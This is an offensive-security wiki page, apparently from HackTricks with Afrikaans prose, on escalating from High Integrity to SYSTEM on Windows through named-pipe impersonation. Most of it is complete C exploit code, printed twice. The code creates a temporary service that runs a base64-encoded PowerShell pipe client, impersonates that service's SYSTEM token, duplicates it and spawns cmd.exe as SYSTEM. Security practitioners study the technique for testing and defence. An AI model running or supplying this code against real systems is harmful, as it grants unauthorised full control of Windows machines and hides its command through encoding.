From High Integrity to SYSTEM with Name Pipes

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Ondersteun HackTricks

Kyk na die subskripsie planne!
Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.

Kode vloei:

Skep 'n nuwe Pyp
Skep en begin 'n diens wat met die geskepte pyp sal verbind en iets sal skryf. Die dienskode sal hierdie geënkodeerde PS kode uitvoer: $pipe = new-object System.IO.Pipes.NamedPipeClientStream("piper"); $pipe.Connect(); $sw = new-object System.IO.StreamWriter($pipe); $sw.WriteLine("Go"); $sw.Dispose();
Die diens ontvang die data van die kliënt in die pyp, roep ImpersonateNamedPipeClient aan en wag vir die diens om te voltooi
Laastens, gebruik die token wat van die diens verkry is om 'n nuwe cmd.exe te spawn

As jy nie genoeg regte het nie, kan die exploit vasgevang word en nooit terugkeer nie.

#include <windows.h>
#include <time.h>

#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")

#define PIPESRV "PiperSrv"
#define MESSAGE_SIZE 512

int ServiceGo(void) {

SC_HANDLE scManager;
SC_HANDLE scService;

scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);

if (scManager == NULL) {
return FALSE;
}

// create Piper service
scService = CreateServiceA(scManager, PIPESRV, PIPESRV, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL,
"C:\\Windows\\\System32\\cmd.exe /rpowershell.exe -EncodedCommand JABwAGkAcABlACAAPQAgAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFAAaQBwAGUAcwAuAE4AYQBtAGUAZABQAGkAcABlAEMAbABpAGUAbgB0AFMAdAByAGUAYQBtACgAIgBwAGkAcABlAHIAIgApADsAIAAkAHAAaQBwAGUALgBDAG8AbgBuAGUAYwB0ACgAKQA7ACAAJABzAHcAIAA9ACAAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AUwB0AHIAZQBhAG0AVwByAGkAdABlAHIAKAAkAHAAaQBwAGUAKQA7ACAAJABzAHcALgBXAHIAaQB0AGUATABpAG4AZQAoACIARwBvACIAKQA7ACAAJABzAHcALgBEAGkAcwBwAG8AcwBlACgAKQA7AA==",
NULL, NULL, NULL, NULL, NULL);

if (scService == NULL) {
//printf("[!] CreateServiceA() failed: [%d]\n", GetLastError());
return FALSE;
}

// launch it
StartService(scService, 0, NULL);

// wait a bit and then cleanup
Sleep(10000);
DeleteService(scService);

CloseServiceHandle(scService);
CloseServiceHandle(scManager);
}

int main() {

LPCSTR sPipeName = "\\\\.\\pipe\\piper";
HANDLE hSrvPipe;
HANDLE th;
BOOL bPipeConn;
char pPipeBuf[MESSAGE_SIZE];
DWORD dBRead = 0;

HANDLE hImpToken;
HANDLE hNewToken;
STARTUPINFOA si;
PROCESS_INFORMATION pi;

// open pipe
hSrvPipe = CreateNamedPipeA(sPipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, NULL);

// create and run service
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ServiceGo, NULL, 0, 0);

// wait for the connection from the service
bPipeConn = ConnectNamedPipe(hSrvPipe, NULL);
if (bPipeConn) {
ReadFile(hSrvPipe, &pPipeBuf, MESSAGE_SIZE, &dBRead, NULL);

// impersonate the service (SYSTEM)
if (ImpersonateNamedPipeClient(hSrvPipe) == 0) {
return -1;
}

// wait for the service to cleanup
WaitForSingleObject(th, INFINITE);

// get a handle to impersonated token
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hImpToken)) {
return -2;
}

// create new primary token for new process
if (!DuplicateTokenEx(hImpToken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation,
TokenPrimary, &hNewToken)) {
return -4;
}

//Sleep(20000);
// spawn cmd.exe as full SYSTEM user
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
if (!CreateProcessWithTokenW(hNewToken, LOGON_NETCREDENTIALS_ONLY, L"cmd.exe", NULL,
NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) {
return -5;
}

// revert back to original security context
RevertToSelf();

}

return 0;
}

Ondersteun HackTricks

Kyk na die subskripsie planne!
Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.

PreviousDPAPI - Extracting Passwords NextIntegrity Levels

Last updated 4 months ago

#include <windows.h> #include <time.h> #pragma comment (lib, "advapi32") #pragma comment (lib, "kernel32") #define PIPESRV "PiperSrv" #define MESSAGE_SIZE 512 int ServiceGo(void) { SC_HANDLE scManager; SC_HANDLE scService; scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS); if (scManager == NULL) { return FALSE; } // create Piper service scService = CreateServiceA(scManager, PIPESRV, PIPESRV, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, "C:\\Windows\\\System32\\cmd.exe /rpowershell.exe -EncodedCommand JABwAGkAcABlACAAPQAgAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFAAaQBwAGUAcwAuAE4AYQBtAGUAZABQAGkAcABlAEMAbABpAGUAbgB0AFMAdAByAGUAYQBtACgAIgBwAGkAcABlAHIAIgApADsAIAAkAHAAaQBwAGUALgBDAG8AbgBuAGUAYwB0ACgAKQA7ACAAJABzAHcAIAA9ACAAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AUwB0AHIAZQBhAG0AVwByAGkAdABlAHIAKAAkAHAAaQBwAGUAKQA7ACAAJABzAHcALgBXAHIAaQB0AGUATABpAG4AZQAoACIARwBvACIAKQA7ACAAJABzAHcALgBEAGkAcwBwAG8AcwBlACgAKQA7AA==", NULL, NULL, NULL, NULL, NULL); if (scService == NULL) { //printf("[!] CreateServiceA() failed: [%d]\n", GetLastError()); return FALSE; } // launch it StartService(scService, 0, NULL); // wait a bit and then cleanup Sleep(10000); DeleteService(scService); CloseServiceHandle(scService); CloseServiceHandle(scManager); } int main() { LPCSTR sPipeName = "\\\\.\\pipe\\piper"; HANDLE hSrvPipe; HANDLE th; BOOL bPipeConn; char pPipeBuf[MESSAGE_SIZE]; DWORD dBRead = 0; HANDLE hImpToken; HANDLE hNewToken; STARTUPINFOA si; PROCESS_INFORMATION pi; // open pipe hSrvPipe = CreateNamedPipeA(sPipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, NULL); // create and run service th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ServiceGo, NULL, 0, 0); // wait for the connection from the service bPipeConn = ConnectNamedPipe(hSrvPipe, NULL); if (bPipeConn) { ReadFile(hSrvPipe, &pPipeBuf, MESSAGE_SIZE, &dBRead, NULL); // impersonate the service (SYSTEM) if (ImpersonateNamedPipeClient(hSrvPipe) == 0) { return -1; } // wait for the service to cleanup WaitForSingleObject(th, INFINITE); // get a handle to impersonated token if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hImpToken)) { return -2; } // create new primary token for new process if (!DuplicateTokenEx(hImpToken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &hNewToken)) { return -4; } //Sleep(20000); // spawn cmd.exe as full SYSTEM user ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); if (!CreateProcessWithTokenW(hNewToken, LOGON_NETCREDENTIALS_ONLY, L"cmd.exe", NULL, NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) { return -5; } // revert back to original security context RevertToSelf(); } return 0; }